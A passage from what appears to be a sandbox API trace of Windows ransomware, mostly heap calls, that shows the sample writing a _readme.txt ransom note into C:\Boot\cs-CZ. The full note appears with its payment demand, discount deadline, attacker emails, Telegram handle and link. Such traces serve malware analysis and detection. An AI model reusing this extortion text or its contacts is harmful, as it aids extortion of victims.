dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.506] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022970 | out: hHeap=0x5e0000) returned 1 [0119.506] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30228f8 | out: hHeap=0x5e0000) returned 1 [0119.506] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0119.506] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022948 | out: hHeap=0x5e0000) returned 1 [0119.506] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022880 | out: hHeap=0x5e0000) returned 1 [0119.506] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.506] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0119.506] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ad8 | out: hHeap=0x5e0000) returned 1 [0119.506] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb230 | out: hHeap=0x5e0000) returned 1 [0119.506] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb268 | out: hHeap=0x5e0000) returned 1 [0119.507] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b00 | out: hHeap=0x5e0000) returned 1 [0119.507] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.507] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef800 | out: hHeap=0x5e0000) returned 1 [0119.507] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.507] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.507] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30229c0 | out: hHeap=0x5e0000) returned 1 [0119.507] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0119.507] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229c0 [0119.507] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.507] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.507] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.507] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.507] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.507] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.507] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.507] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.507] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.507] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.507] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.507] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.507] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.507] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.507] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.507] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.507] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.507] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.507] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.507] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.507] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.507] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.507] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.507] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.507] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.507] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.508] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.508] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.508] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.508] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.508] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.508] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.508] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.508] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.508] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.508] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.508] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.508] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.508] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.508] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.508] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.508] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.508] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.508] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.508] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.508] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.508] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.508] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.508] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.508] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.508] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.508] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.508] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.508] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.508] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.508] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.508] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.508] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.508] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.509] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.509] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.509] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.509] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.509] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.509] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.509] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.509] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.509] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.509] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.509] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.509] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.509] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.509] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.509] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.509] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.509] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.509] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.509] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.509] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.509] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.509] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.509] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.509] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.509] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.509] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.509] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.509] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.509] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.509] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.509] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.509] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.509] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.510] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.510] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.510] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.510] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.510] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.510] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.510] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.510] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.510] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.510] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.510] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.510] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.510] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.510] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.510] PathFindFileNameW (pszPath="C:\\Boot\\cs-CZ\\") returned="cs-CZ\\" [0119.510] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.510] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.510] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.510] PathFindFileNameW (pszPath="") returned="" [0119.510] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.510] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.511] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.511] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x800) returned 0x3092b80 [0119.511] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.511] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x810) returned 0x307f550 [0119.511] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.511] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.511] PathAppendW (in: pszPath="C:\\Boot\\cs-CZ\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 1 [0119.511] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.511] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.511] PathFileExistsW (pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 0 [0119.512] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x7d00) returned 0x3095780 [0119.512] lstrcpyW (in: lpString1=0x3095780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.512] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.512] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x3080660 [0119.512] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\_readme.txt" (normalized: "c:\\boot\\cs-cz\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.513] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3080660 | out: hHeap=0x5e0000) returned 1 [0119.513] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3095780 | out: hHeap=0x5e0000) returned 1 [0119.513] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.513] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.513] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.513] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.513] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.513] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0119.513] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0119.513] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.513] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.513] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30229c0 | out: hHeap=0x5e0000) returned 1 [0119.513] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229c0 [0119.513] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.513] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.513] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.513] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.514] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.514] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.514] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.514] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.514] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.514] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.514] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.514] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.514] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.514] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.514] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.514] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 